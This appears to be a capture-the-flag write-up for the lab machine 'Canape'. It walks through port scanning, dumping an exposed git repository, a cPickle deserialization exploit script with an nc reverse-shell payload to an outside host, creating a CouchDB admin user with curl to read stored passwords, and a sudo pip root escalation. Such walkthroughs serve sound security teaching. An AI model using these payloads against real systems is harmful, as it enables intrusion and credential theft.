Canape
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 4000 10.129.107.118
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-17 17:06 +08
Nmap scan report for 10.129.107.118
Host is up (0.011s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
65535/tcp open unknown
Did a detailed scan as well:
$ nmap -p 80,65535 -sC -sV --min-rate 4000 10.129.107.118
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-17 17:07 +08
Nmap scan report for 10.129.107.118
Host is up (0.0073s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
| 10.129.107.118:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Simpsons Fan Site
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d820b3190e4c885b2538ba17c3b65e1 (RSA)
| 256 22fc6ec35500850f24bff5796c928b68 (ECDSA)
|_ 256 0d912751805e2ba3810de9d85c9b7735 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There's a .git
repository present on the website. There is also a domain we have to add to our /etc/hosts
file.
Web + Git Enumeration
The website was a Flask based website:

We can submit quotes to be viewed on the website through the using specific Simpsons characters:

Since we have a .git
repository, we can dump that out first.
$ python3 git_dumper.py http://canape.htb .git
$ git checkout -- .
Then, we can view the files present.
cPickle RCE
There was an __init__.py
file that contained the source code for the website. There were a few interesting routes:
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
Pickling is used here, and it might be exploitable later. If p1
is in data
, then it passes it to the cPickle.loads()
function. The cPickle
function used actually allows for RCE.
Based on online scripts, we have to create a Python class using the __reduce__
with our command, and then pickle the content using the cPickle
library. Afterwards, we need to send a POST request to /check
with the id
parameter set to the MD5 hash of our character and payload combined.
To bypass the character check, we just need to include a Simpsons character as a substring of the actual thing.
The website code uses python2
, so I also used python2
to match:
import cPickle
import os
import requests
from hashlib import md5
class PickleRce(object):
def __reduce__(self):
return (os.system,('homer*; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.16 4444 >/tmp/f',))
character, quote = cPickle.dumps(PickleRce()).split('*')
print(cPickle.dumps(PickleRce()))
checksum = md5(character + quote).hexdigest()
requests.post('http://canape.htb/submit', data = {'character':character,'quote':quote})
requests.post('http://canape.htb/check', data={'id':checksum})
Running it gives me this string:
$ python2 rce.py
cposix
system
p1
(S'homer*; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.16 4444 >/tmp/f'
p2
tp3
Rp4
.
The reason we split the string by *
is because of the weird string it generates. Running this gives us a shell:

Privilege Escalation
We cannot read the user's flag yet.
CouchDB -> User Creds
The user was called homer
, and they were running some processes:
www-data@canape:/$ ps -elf | grep homer
4 S homer 610 606 0 80 0 - 162335 - 02:03 ? 00:01:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bin/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
CouchDB was being run on the machine, and it is running a vulnerable version.
However, this exploit does not seem to work on the machine. Since this is a DB and can interact with it, perhaps it has passwords within it. The references within the exploit have a link to this:
The above uses curl
to create a new administrator user on the machine.
curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:oops' --data-binary '{"type": "user", "name": "oops", "roles": ["_admin"], "roles": [], "password": "password"}'
Afterwards, we can read the passwords:
www-data@canape:/$ curl 127.0.0.1:5984/passwords/_all_docs --user 'oops:password'
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
The one on the last row contains a hint about the user's password:
www-data@canape:/$ curl 127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438004738 --user 'oops:password'
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
With this, we can ssh
in as homer
using the password from the other fields:

Sudo Pip -> Root
When checking sudo
privileges, we see that we can run pip install
as root
:
homer@canape:~$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User homer may run the following commands on canape:
(root) /usr/bin/pip install *
Using this, we can spawn a root
shell using the PoC on GTFOBins:
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

Rooted!
Last updated